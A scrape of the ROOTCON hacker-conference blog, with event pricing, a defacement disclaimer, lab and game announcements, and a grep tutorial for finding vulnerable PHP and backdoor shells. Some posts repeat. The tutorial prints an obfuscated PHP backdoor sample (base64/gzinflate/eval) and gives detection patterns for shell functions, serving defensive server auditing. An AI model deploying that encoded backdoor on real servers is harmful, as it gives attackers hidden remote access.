Monday, July 20, 2015
RC9 Promo Code
Labels:
rootcon,
rootcon conference,
rootcon philippines
We always want everyone to come and join us, ROOTCON is giving away 10% discount from regular rate. Just type-in the promo code "hackallthethings" and get that discount!
What are you waiting for? Register now at https://www.rootcon.org/xml/rc9/register
credits to the owner of the photo
Sunday, July 19, 2015
ROOTCON Price Update
Labels:
rootcon,
rootcon con,
rootcon ph,
rootcon philipines
We received a lot of inquiries with regards to our price update this year.
Q: Why is there a price increase?
A: As much as we wanted to stick with the previous RC event prices we cannot, we need to adjust it according to our venue and logistics expenses
Q: Why is the price increase high?
A: We adjusted the price according to the venue rates and logistic expenses.
Q: Why not bring back RC event in Cebu for cheaper price?
A: We can do that, but its likely will going to increase as hotels are increasing their prices as well.
Q: How much is RC9? early registration
A: Our price for RC9 will be P7450.00
Q: How much is RC9 regular rate
A: Our price for RC9 regular rate is P8550.00
Q: Is there still a group discount?
A: Yes, group discount is based on the regular rate, group price is P7700.00
Q: Is there a student rate?
A: Yes, student rate is based on regular rate, student rate is P7500.00
Q: How about the inclusions?
A: Our inclusions are still the same, official RC9 badge (electronic), lunch buffet, 2 day access to conference, and other swags.
If you do the math, the expenses are still the same, if the event is in Cebu you will spend air-fare, hotel expenses, etc...etc...
ROOTCON is dedicated to giving the best conference experience for our con-goers, the price will be worth-it compared to other infosec conferences in the country.
Read More
A: As much as we wanted to stick with the previous RC event prices we cannot, we need to adjust it according to our venue and logistics expenses
Q: Why is the price increase high?
A: We adjusted the price according to the venue rates and logistic expenses.
Q: Why not bring back RC event in Cebu for cheaper price?
A: We can do that, but its likely will going to increase as hotels are increasing their prices as well.
Q: How much is RC9? early registration
A: Our price for RC9 will be P7450.00
Q: How much is RC9 regular rate
A: Our price for RC9 regular rate is P8550.00
Q: Is there still a group discount?
A: Yes, group discount is based on the regular rate, group price is P7700.00
Q: Is there a student rate?
A: Yes, student rate is based on regular rate, student rate is P7500.00
Q: How about the inclusions?
A: Our inclusions are still the same, official RC9 badge (electronic), lunch buffet, 2 day access to conference, and other swags.
If you do the math, the expenses are still the same, if the event is in Cebu you will spend air-fare, hotel expenses, etc...etc...
ROOTCON is dedicated to giving the best conference experience for our con-goers, the price will be worth-it compared to other infosec conferences in the country.
Wednesday, February 06, 2013
ROOTCON 7 Details
Labels:
hacker conference,
hackers,
rootcon,
rootcon philippines
Date and Venue
The largest annual hacker conference in the country ROOTCON will celebrate its 7th year this coming September 12-14, 2013. The first day which is September 12 will be packed with workshops and training organized by our very own NexSquare Inc. followed by the con proper on September 13th and 14th. After a considerable days of negotiating our venue to cater more attendees we came up with a verdict that we will be returning to Parklane International Hotel in Cebu City.
Activities and Workshops
This year our very own NexSquare Inc. are kind enough to organize workshop on the first day of the conference. Some of the pre-final workshops are as follows:
WiFu - Introduction to Wireless Security
Hacking 101 - Introduction to Hackery
Lockpick 101 - Introduction to LockPicking
Metasploit-Fu - Ninja training on Metasploit
Web App Security - Introduction to Web Application Penetration Testing
These workshops are introductory to trainings offered by NexSquare Inc. with a very reasonable price to CON-Goers.
We also have our pre-con activities; activities like:
WiFi Shootout
Pre-con gathering (H4xor BBQ)
Pricing
We wanted ROOTCON to stay the cheapest and yet the best hacker conference in town; we were able to maintain the price of Php2800.00 for two consecutive years; however economically our materials and logistics costs increased so in order to cover all of our expenses such us speakers airfare and accommodation, badges, swags, meals and venue we came up with a slight price increase, this is also in parallel to the price our venue is giving us. The price for this year's conference are as follows:
Early Pro Registration: Php3300.00
Early Student Registration: Php2800.00
Group of 5 Registration: Php14025 (less 15%)
Late Pro Registration: Php4300.00
Late Student Registration: Php3800.00
Stay tuned for regular updates on the following
Facebook: https://www.facebook.com/rootcon
Twitter: https://www.twitter.com/_rootcon_
Forum: http://forum.rootcon.org
Main Site: https://www.rootcon.org
We hope to see everyone at ROOTCON this year!!!!
Hackers Unite
All the best,
-semprix
Read More
Activities and Workshops
This year our very own NexSquare Inc. are kind enough to organize workshop on the first day of the conference. Some of the pre-final workshops are as follows:
WiFu - Introduction to Wireless Security
Hacking 101 - Introduction to Hackery
Lockpick 101 - Introduction to LockPicking
Metasploit-Fu - Ninja training on Metasploit
Web App Security - Introduction to Web Application Penetration Testing
These workshops are introductory to trainings offered by NexSquare Inc. with a very reasonable price to CON-Goers.
We also have our pre-con activities; activities like:
WiFi Shootout
Pre-con gathering (H4xor BBQ)
Pricing
We wanted ROOTCON to stay the cheapest and yet the best hacker conference in town; we were able to maintain the price of Php2800.00 for two consecutive years; however economically our materials and logistics costs increased so in order to cover all of our expenses such us speakers airfare and accommodation, badges, swags, meals and venue we came up with a slight price increase, this is also in parallel to the price our venue is giving us. The price for this year's conference are as follows:
Early Pro Registration: Php3300.00
Early Student Registration: Php2800.00
Group of 5 Registration: Php14025 (less 15%)
Late Pro Registration: Php4300.00
Late Student Registration: Php3800.00
Stay tuned for regular updates on the following
Facebook: https://www.facebook.com/rootcon
Twitter: https://www.twitter.com/_rootcon_
Forum: http://forum.rootcon.org
Main Site: https://www.rootcon.org
We hope to see everyone at ROOTCON this year!!!!
Hackers Unite
All the best,
-semprix
Saturday, December 01, 2012
Sulit.com.ph hacking incident
The Sulit website was replaced by the homepage of Ayosdito.ph, another classified ads portal in the country. Also, the title of the hacked page states: “ROOTCON.ORG We are anonymous. We are Legion. We do not forgive. We do not forget.”
Sulit.com.ph temporarily shut down its site, and issued an advisory to the public via Twitter @sulit:“A relatively simple attack was made against us. We should be back online and back to normal in a few minutes. To be clear, only a 3rd-party vendor was compromised; our data, application, and servers were unaffected and are intact.” source: http://infolikes.com/internet/sulit-com-ph-website-hacked/
The ROOTCON core group is composed of high level security professionals, we always ensure we observe proper ethics through responsible full-disclosure if given one of our members found a serious vulnerabilities on certain web application or network. The internet is a free world to live anyone can easily tag and use the name ROOTCON as part of their hacking adventure. ROOTCON is not an underground group we are a legitimate group registered under Security and Exchange Commission, we only provide neutral venue where enterprise, government and underground share best practice, latest trends and cutting edge security techonologies.
On behalf of ROOTCON and its Goons I would like to inform everyone that ROOTCON and its crew does not condone illegal activities like this and we are not part of the hacking incident that occurred. The attack was acknowledged by certain group which is NOT part of ROOTCON. This incident is another heads-up to our security professionals and system administrators to take information security seriously; its a crazy world out there.
Check out the Official Sulit Press Release
semprix (The Fork Meister)
Tuesday, July 17, 2012
RC6 Ticket Sale
Labels:
hacker conference,
hackers,
rootcon,
rootcon philippines
Regular rate registration is now open until August 17, 2012, since we want you to come!!! we are still giving away discounts get our group of 5 package and get 10% off.
What are you waiting for REGISTER NOW!!!!
http://rootcon6.eventbrite.com/
https://www.rootcon.org/xml/rootcon6/register
Saturday, July 14, 2012
The Secrecy (New Game)
Labels:
filipino hackers,
hacker challlenge,
hacker conference,
hackers,
rootcon,
rootcon philippines
Let the cracking begin!!!
Game Mechanics
The objective of this game is to reach the top-most level which is level 10. In order to achieve that you need to pass each level and get the secret / hidden phrase or word.
The Rules
1. NO DIRECT DDoS on the game servers.
2. NO Physical Coercion on players and crew.
3. Spies works on their own, this is a single player game. You can however have a handler to coach you throughout the game.
4. Spies are resourceful breaking codes, so be like one ;-)
5. Bring your own spy gears, laptop, AP, GPS tracking, whatever you think you will need.
Who Can Play
Any ROOTCON attendee (except for the ROOTCON Goons).
When
Start of the conference
Prizes Shining UberH4x0r Badge, which entitles you to be put up on the ROOTCON Hall of Fame, free entrance on the next ROOTCON Conference.
Crew / Agents / Handlers
Encrypted84 Semprix (The Fork Meister)
More details at https://www.rootcon.org/xml/rootcon6/activities#secrecy
Monday, June 11, 2012
ROOTCON 6 SpeedTalks
Labels:
conference,
hacker conference,
hackers,
rootcon,
rootcon philippines
The mechanics is pretty straight forward.
1. Avail one of the Major Sponsors of ROOTCON 6
- Platinum
- Gold
- Silver
3. Sponsoring companies are given a blazing 10 minutes for their product demo / presentation and product updates.
4. SpeedTalks will be given on Day 1 and Day 2.
5. ROOTCON will align all schedules to the sponsoring company representatives.
6. NO QUESTIONS should be entertained during the SpeedTalk, the allotted 10 minutes is purely presentation / demo / talk. All questions should be addressed on the sponsors booth.
What are you waiting for? Contact our sponsorship liaison.
-Semprix
Sunday, June 10, 2012
Checking out BackTrack Linux 5r2-PenTesting Edition Lab!
Labels:
BackTrack 5,
DMZ network,
hosts,
network infrastructure,
PenTest Laboratory,
pentesting edition,
pre-configured firewall,
tools,
virtual penetration testing lab
What's a BackTrack Linux 5r2-PenTesting Edition Lab? What's with the edition thingy? Isn't BackTrack 5 a pentesting distro already? Why make a pentesting edition?
Maybe these are some of the questions you have in your mind after reading the title and because of that, I would like to give some few points about this edition.
BackTrack Linux 5r2-PenTesting Edition Lab is still the same BackTrack 5 r2 with the same pentesting tools pre-installed in the distribution and has KDE as its Desktop Environment although in backtrack-linux.org you can also choose if you want Gnome or KDE. The only difference is that it includes all of the hosts, network infrastructure, tools, and targets necessary to practice penetration testing for the CPLT or Certified PenTest Laboratory course which is brought to you by PenTest Laboratory and the guys behind PenTest Magazine.
This edition is a modified version of NETinVM which has a predefined User-mode Linux (UML) based penetration testing targets. When started, this builds an entire network of machines within the VMware virtual machine. The BackTrack Linux distribution is used to provide the tools necessary for completing the lab scenarios. Thus, It is an an all-in-one penetration testing lab environment that pre-configured with:
- A master (base) host utilizing BackTrack Linux 5r2
- A DMZ network with two hosts (targets)
- An “internal” network with one host (target)
- A pre-configured firewall
This pentesting lab is available for free to non-CPLT course students which can be downloaded here.
Here are some of targets you can attack or play with:
- 10.5.0.1
- 10.5.0.254
- 10.5.1.10
- 10.5.1.10
- 10.5.1.254
About the Contributor:
Shipcode is a prolific blogger of ROOTCON and at the same time an InfoSec enthusiast from Cebu. He was inspired to join ROOTCON as part of the core team to share his knowledge in information security. He encourages other like minded individuals to come forward and share their knowledge through blogging right here at ROOTCON Blog section.
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.
Monday, June 04, 2012
8 Hacking and Information Security Magazines You Might Wanna Read
Labels:
(IN)SECURE,
2600,
Clubhack,
cplt,
ezines,
Hacker Monthly,
hakin9,
infosec magazines,
PenTest Laboratory,
pentestmag,
phrack
As a programming student, security researcher and a blogger; I always keep up to date about what is happening in cyber space by reading infosec articles and magazines. Magazines I usually read have niches or themes like Information Security, Cyber Warfare, Cyber Espionage, Penetration Testing and Hacking. And so here are 8 Hacking and Information Security Magazines that I like to share to all of you guys:
1. Hakin9 - Hakin9 Magazine is a payable magazine devoted to IT security and covers techniques of breaking into computer systems, defense and protection methods, tools and latest trends in IT Security. It has 4 different editions every month: Hakin9 – main issue, Hakin9 Extra – every issue is devoted to one topic only, Exploiting Software magazine – Partition Analysis, Stack Overflow and many more, and Mobile Security – hacking and securing of mobile systems and applications.
2. PenTest Magazine - PenTest Magzine is a payable magazine which focuses on Penetration Testing. It features articles by penetration testing specialists, enthusiasts, and experts in vulnerability assessment and management. The PenTest Magazine features 48 issues in a year – 4 issues in a month. Different title is published every week; PenTest Regular, Auditing & Standards PenTest, PenTest Market, and Web App Pentesting. Their team is also behind the Certified PenTest Laboratory Tester (CPLT) Certification.
3. ClubHack Magazine - ClubHack Magazine or CHmag is India's 1st Hacking Magazine and one of the media partners of ROOTCON. Their magazine is free to download and is divided into the following sections: Tech Gyan, Legal Gyan, Tool Gyan, Mom's Guide, Matriux Vibhag, and Code Gyan. I also contributed one article to this magazine which is about Decoding ROT using the Echo and Tr Commands in your Linux Terminal. They are also the organizers of ClubHack Conference.
4. (IN)SECURE Magazine - (IN)SECURE Magazine is a free digital security publication discussing information security topics by Help Net Security which has been a prime resource for information security news since 1998.. They also accept guest authors and has a lot of subscribers.
5. Phrack Magazine - Nothing beats the old school! Nobody messes with the Phrack Magazine which is an online ezine for hackers and by the hackers. Phrack was first released on November 17, 1985 which until now became the largest computer underground ezine. In fact, The Hacker’s Manifesto was also published in this online ezine on the 7th issue. Truly an old yet awesome archive which takes you to the old days of the hacker culture in the 80′s. The current issue is 68 and I thought it will end on issue number 63 but the good thing is it is still alive and kicking.
6. 2600: The Hacker Quarterly - 2600: The Hacker Quarterly is a publication that focuses in publishing information about subjects like phreaking, infosec, hacking, the computer underground, anarchist issues, and many more. 2600 has established the H.O.P.E. (Hackers On Planet Earth) conferences as well as monthly meetings in some countries.
7. Hacker5 - Hacker5 is a monthly magazine from India which provides you with some of the latest happenings in the Cyber world. Their team is composed of journalists and ethical hackers. Some of their magazines are free to download and some are payable. In their website, they also have a dedicated page for the hackers, security professionals and developers that they interviewed.
8. Hacker Monthly - Hacker Monthly is the print magazine edition of Hacker News which is a known social bookmarking news website and popular among programmers, SEO Specialists, Link Builders, developers, geeks and startup founders.Every month they select from the top voted articles that are bookmarked on Hacker News website and print them in magazine format but it is not for free anymore.
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.
6. 2600: The Hacker Quarterly - 2600: The Hacker Quarterly is a publication that focuses in publishing information about subjects like phreaking, infosec, hacking, the computer underground, anarchist issues, and many more. 2600 has established the H.O.P.E. (Hackers On Planet Earth) conferences as well as monthly meetings in some countries.
7. Hacker5 - Hacker5 is a monthly magazine from India which provides you with some of the latest happenings in the Cyber world. Their team is composed of journalists and ethical hackers. Some of their magazines are free to download and some are payable. In their website, they also have a dedicated page for the hackers, security professionals and developers that they interviewed.
8. Hacker Monthly - Hacker Monthly is the print magazine edition of Hacker News which is a known social bookmarking news website and popular among programmers, SEO Specialists, Link Builders, developers, geeks and startup founders.Every month they select from the top voted articles that are bookmarked on Hacker News website and print them in magazine format but it is not for free anymore.
About the Contributor:
Shipcode is a prolific blogger of ROOTCON and at the same time an InfoSec enthusiast from Cebu. He was inspired to join ROOTCON as part of the core team to share his knowledge in information security. He encourages other like minded individuals to come forward and share their knowledge through blogging right here at ROOTCON Blog section.
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.
Thursday, May 31, 2012
ROOTCON 6 Call For Papers Now Close
Pre-final tracks can be found here
Get to know our ub3r4w3s()me speakers here
We will be posting ROOTCON 6 schedule soon.
What are you waiting for? Register now (Early Registration closing on June 30, 2012) and witness the fun and educational event this coming September 7-8, 2012.
Hope to see you all at the CON.
Sunday, May 20, 2012
New CFP Submission
Labels:
hacker conference,
rootcon,
rootcon philippines
Topic Details
Presentation Title: Randomized/Obfuscated Text Detection
Synopsis: Recent malwares have been using obfuscation techniques to hide its code from Antivirus software. Making use of emulation is very effective but would probably result in a slow performing machine especially when your valid apps are getting scanned from malwares. Thus, before a full emulation can be done, a static detection can help minimize this slow performance. Detecting the existence of obfuscated text segregates valid applications from malwares. This topic shows different methods on how to determine if a certain text is rather randomized.
Speaker: Reginald Wong
Speaker Background: Reggie has been in the anti-malware industry for almost 10 years doing research on different types of malwares. He currently heads the heuristics team at GFI Software Philippines and aims to detect malwares before they get in to your system.
More at https://www.rootcon.org/xml/rootcon6/tracks
Early Registration Closing Soon!!!!
Labels:
hacker conference,
rootcon,
rootcon philippines
Our 2 months run for the early registration will be closing this coming June 30, 2012. If you haven't registered yet, register now to get big discounts!!!
Visit the registration page now!!!
Wednesday, May 16, 2012
May 2012 issue of ClubHack Magazine is out now!
Labels:
articles,
CHmag,
clubhack magazine,
code gyan,
feedback,
HTTPS,
Hyper Text,
identity theft,
injection,
Kauntilya,
Steganography,
suggestions,
toolkit
ClubHack Magazine's May 2012 issue has just been released yesterday guys and thanks to the Chmag Team for giving us free monthly issues!
Topics:
0x01 - Steganography over converted channels (Tech Gyan)
0x02 - Kauntilya (Tool Gyan)
0x03 - Section 66C - Punishment for identity theft (Legal Gyan)
0x04 - HTTPS (Hyper Text Transfer Protocol Secure) (Mom's Gide)
0x05 - Don’t Get Injected – Fix Your Code (Code Gyan)
0x02 - Kauntilya (Tool Gyan)
0x03 - Section 66C - Punishment for identity theft (Legal Gyan)
0x04 - HTTPS (Hyper Text Transfer Protocol Secure) (Mom's Gide)
0x05 - Don’t Get Injected – Fix Your Code (Code Gyan)
Download the new issue here.
About the Contributor:
Shipcode is a prolific blogger of ROOTCON and at the same time an InfoSec enthusiast from Cebu. He was inspired to join ROOTCON as part of the core team to share his knowledge in information security. He encourages other like minded individuals to come forward and share their knowledge through blogging right here at ROOTCON Blog section.
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.
Tuesday, May 15, 2012
Hackxor - Web App Hacking Game
Labels:
blackhat hacker,
Cross Site Request Forgery,
Hackxor,
learning,
RCE,
references,
web app hacking,
webapp
Are you a gamer and at the same time a penetration testing enthusiast in web applications?
Well then, you might wanna try whacking out 'hackxor'! Hackxor is a web application hacking game where players must locate and exploit vulnerabilities to progress through the story wherein you play as a blackhat hacker hired to track down another hacker by any means possible. It contains scripts that are vulnerable to Cross Site Scripting(XSS), Cross Site Request Forgery(CSRF), Structured Query Language Injection (SQLi), Remote Command Injection(RCE), and many more. It's also a web application running on Fedora 14.
Download & install instructions
- 1. Download the full version of hackxor (700mb)
- 2. Install VMWare Player (This involves creating a free account with vmware)
- 3. Extract hackxor1.7z, run the image using VMware player.
- 4. Work out what the IP of hackxor is ((try 172.16.93.129)|| logging into the VM with username:root pass:hackxor and typing ifconfig)
- 5. Configure your hosts file (/etc/hosts on linux) to redirect the following domains to the IP of hackxor: wraithmail, wraithbox, cloaknet, GGHB, hub71, utrack.
- 6. Browse to http://wraithmail:8080 and login with username:algo password:smurf
About the Contributor:
Shipcode is a prolific blogger of ROOTCON and at the same time an InfoSec enthusiast from Cebu. He was inspired to join ROOTCON as part of the core team to share his knowledge in information security. He encourages other like minded individuals to come forward and share their knowledge through blogging right here at ROOTCON Blog section.
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.
Thursday, April 26, 2012
Simple Kung Fu Grep for Finding Common Web Vulnerabilities & Backdoor Shells
Labels:
backdoor shells,
base64_decode,
botnets,
command injection,
command-line,
eval,
grep,
kung fu,
lfi,
pBot,
shell_exec,
terminal emulator,
udpflood,
vulnerabilities
Grep is a powerful command-line tool in Unix and Linux used for searching and probing data sets for lines that matches a regular expression. As a short history, this utility was coded by Ken Thompson on March 3, 1973 for Unix.
Here is a sample or common usage of the said tool for searching a text string pBot in my php file bot.php:
grep pbot bot.php
The very reason why most web applications can be easily hacked or pawned because of insecure codes and functions that can be exploited. Take for example command injection or also known as remote code execution in terms of web exploitation, can be possible to a certain website accepts added strings of characters or arguments; the inputs are used as arguments for executing the command in the web server. And because most vulnerable web applications use the shell_exec function. We can use the grep command to search for the shell_exec in as our advantage in our /var/www directory to check for the possible PHP files that are vulnerable to RCE or command injection. Here is the command:
grep -Rn "shell_exec *( " /var/www
Another example: the include, require, include_once and require_once functions which are common PHP functions in a vulnerable script that is possible for LFI or Local File Inclusion which is a kind of exploit or vulnerability that allows an attacker to inject directory traversal characters on a certain website.
Again, we can use these functions for searching possible vulnerable scripts in our web server:
grep -Rn "include *(" /var/www
grep -Rn "require *(" /var/www
grep -Rn "include_once *(" /var/www
grep -Rn "require_once *(" /var/www
Grepping for Backdoor Shells and other Malicious Files
Backdoors are used by web defacers and hackers to maintain access on the web server which allows them to execute arbitrary commands, download files, edit files, and for back-connection. Most backdoor shells use the shell_exec function for command execution. And because most anti-viruses and rootkit scanners can detect backdoor shells, attackers use PHP encoders for evasion. But because functions like base64_decode and eval are used in this technique, they can't escape the wrath of grep. Here is a sample backdoor shell that has upload and system information functions only encoded using Carbylamine PHP Encoder:
<?php function KJnPCP($XZK)
{
$XZK=gzinflate(base64_decode($XZK));
for($i=0;$i<strlen($XZK);$i++)
{
$XZK[$i] = chr(ord($XZK[$i])-1);
}
return $XZK;
}
eval(KJnPCP("U1QEAm4gzkrXzCopSSvVVE3wcAuN0SjJTMvN1YjT0lJMS8ks
0FS2LSxOs1fWBwsnpFWmpaAp1FdWVFfW0le2NQAr1LLBZmhhZiHCyLTypF
zNktLirMKUktwkoDElaMqwmwHSizAEVdCG28GeGwA="));
?>
Aside from shell_exec, base64_decode, and eval; here are other functions used by PHP backdoor shells:
phpinfo
system
php_uname
chmod
fopen
flclose
readfile
edoced_46esab
passthru
Thus you could also easliy grep these functions:
grep -Rn "passthru *(" /var/www
In my recent analysis, some of these functions are used by IRC bots that have malicious functions like vulnerability scanners, automatic backdoor bots, DoS bots, udpflooder bots, etc.
References:
http://25yearsofprogramming.com/blog/2010/20100315.htm
http://php.net/
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.
phpinfo
system
php_uname
chmod
fopen
flclose
readfile
edoced_46esab
passthru
Thus you could also easliy grep these functions:
grep -Rn "shell_exec *(" /var/www
grep -Rn "eval *(" /var/www
grep -Rn "base64_decode *(" /var/www
grep -Rn "phpinfo *(" /var/www
grep -Rn "system *(" /var/www
grep -Rn "php_uname *(" /var/www
grep -Rn "chmod *(" /var/www
grep -Rn "fopen *(" /var/www
grep -Rn "fclose *(" /var/www
grep -Rn "readfile *(" /var/www
grep -Rn "edoced_46esab *(" /var/www
grep -Rn "passthru *(" /var/www
Oh, and you might wanna add tcpflood and udpflood strings for grepping malicious files too because these are commonly used by IRC bots that have udpflood and tcpflood functions.
What you saw from the image above is a sample of a pBot which is a PHP IRC bot used by some attackers to initiate DDoS (Distributed Denial of Service) / DoS (Denial of Service) attacks.
We can also list all these common functions by using this command in your terminal:
We can also list all these common functions by using this command in your terminal:
grep -RPn "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval|tcpflood|udpflood|edoced_46esab) *\(" /var/wwwReferences:
http://25yearsofprogramming.com/blog/2010/20100315.htm
http://php.net/
About the Contributor:
Shipcode is a prolific blogger of ROOTCON and at the same time an InfoSec enthusiast from Cebu. He was inspired to join ROOTCON as part of the core team to share his knowledge in information security. He encourages other like minded individuals to come forward and share their knowledge through blogging right here at ROOTCON Blog section.
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.
Subscribe to:
Posts (Atom)
